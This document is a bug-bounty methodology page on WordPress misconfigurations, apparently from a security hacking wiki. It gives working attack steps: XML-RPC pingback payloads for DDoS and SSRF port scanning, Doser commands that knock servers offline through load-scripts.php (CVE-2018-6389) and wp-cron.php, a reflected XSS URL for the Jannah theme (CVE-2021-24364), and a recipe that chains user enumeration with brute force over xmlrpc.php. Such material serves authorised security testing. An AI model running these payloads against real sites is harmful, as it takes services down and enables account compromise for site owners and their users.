Account Takeover Methodology
Application Level DoS
Authentication Bypass
Broken-Link Hijacking
Broken Auth And Session Management
Finding CVEs
Web Page Source Code Review
EXIF Geo Data Not Stripped
File Upload Bypass
Find Origin IP
GraphQL
HTTP Desync Attack
Host-Header Attack
HTML-Injection
IDOR
JWT ATTACK
OAuth
SSTI
Sign Up Functionality
Tabnabbing
Weak Password Policy
Wordpress

Wordpress Common Misconfiguration

Here I will try my best to mention all common security misconfigurations for Wordpress I saw before or officially referenced. I will be attaching all poc and reference as well

Index

  • Wordpress Detection
  • General Scan Tool
  • xmlrpc.php
  • Directory listing
  • CVE-2018-6389
  • CVE-2021-24364
  • WP Cornjob DOS
  • WP User Enumeration

Wordpress Detection

Well, if you are reading this you already know about technology detection tool and methods. Still adding them below
  • Wappalyzer
  • WhatRuns
  • BuildWith

Geneal Scan Tool

  • WpScan

xmlrpc.php

This is one of the common issue on wordpress. To get some bucks with this misconfiguration you must have to exploit it fully, and have to show the impact properly as well.

Detection

  • visit site.com/xmlrpc.php
  • Get the error message about POST request only

Exploit

  • Intercept the request and change the method GET to POST
  • List all Methods
    <methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
    </methodCall>
  • Check the pingback.ping mentod is there or not
  • Perform DDOS
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param>
    <value><string>http://<YOUR SERVER >:<port></string></value>
    </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
    </value></param></params>
    </methodCall>
  • Perform SSRF (Internal PORT scan only)
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param>
    <value><string>http://<YOUR SERVER >:<port></string></value>
    </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
    </value></param></params>
    </methodCall>

Tool To Automate XMLRPC-Scan.

​XMLRPC-Scan​

References

​Medium Writeup​
​WpEngine Blog Post​

Directory listing

Sometimes developers forget to disable the directory listing on /wp-content/uploads. So this is the common issue on wordpress sites.

Detection

/wp-content/uploads

Pro tip

Add this path to your fuzzing wordlist

References

CVE-2018-6389

This issue can down any Wordpress site under 4.9.3 So while reporting make sure that your target website is running wordpress under 4.9.3

Detection

Use the URL from my gist called loadsxploit, you will get a massive js data in response.
​loadsxploit​

Exploit

You can use any Dos tool i found Doser really fast and it shut down the webserver within 30 second
​Doser​
python3 doser.py -t 999 -g 'https://site.com/fullUrlFromLoadsxploit'

References

​H1 Report​
​CVE Details​
​Blog Post​

CVE-2021-24364

The Jannah WordPress theme before 5.4.4 did not properly sanitize the options JSON parameter in its tie_get_user_weather AJAX action before outputting it back in the page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

Detection and Exploit

  • Replace <Your_WP-Site-here> to your WP-site <Your_WP-Site-here>/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D
  • Wait for the pop-up!

Reference

​NVD​

WP Cornjob DOS

This is another area where you can perform a DOS attack.

Detection

  • visit site.com/wp-cron.php
  • You will see a Blank page with 200 HTTP status code

Exploit

You can use the same tool Doser for exploiting this
python3 doser.py -t 999 -g 'https://site.com/wp-cron.php'

Reference

​GitHub Issue​
​Medium Writeup​

WP User Enumeration

This issue will only acceptable when target website is hiding their current users or they are not publically available. So attacker can use those user data for bruteforcing and other staff

Detection

  • visit site.com/wp-json/wp/v2/users/
  • You will see json data with user info in response

Exploit

If you have xmlrpc.php and this User enumeration both presence there. Then you can chain them out by collecting username from wp-json and perform Bruteforce on them via xmlrpc.php. It will surely show some extra effort and increase the impact as well

Reference

​H1 Report​

Researcher Note

Please do not depend on those issues at all. I saw people only looking for those issues and nothing else. Those are good to have a look while testing for other vulnerabilities and most of the time they work good for chaining with other low bugs.

Author

Name: Mehedi Hasan Remon
Handle: @remonsec​
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Outline
Wordpress Common Misconfiguration
Index
Wordpress Detection
Geneal Scan Tool
xmlrpc.php
Directory listing
CVE-2018-6389
CVE-2021-24364
WP Cornjob DOS
WP User Enumeration
Researcher Note
Author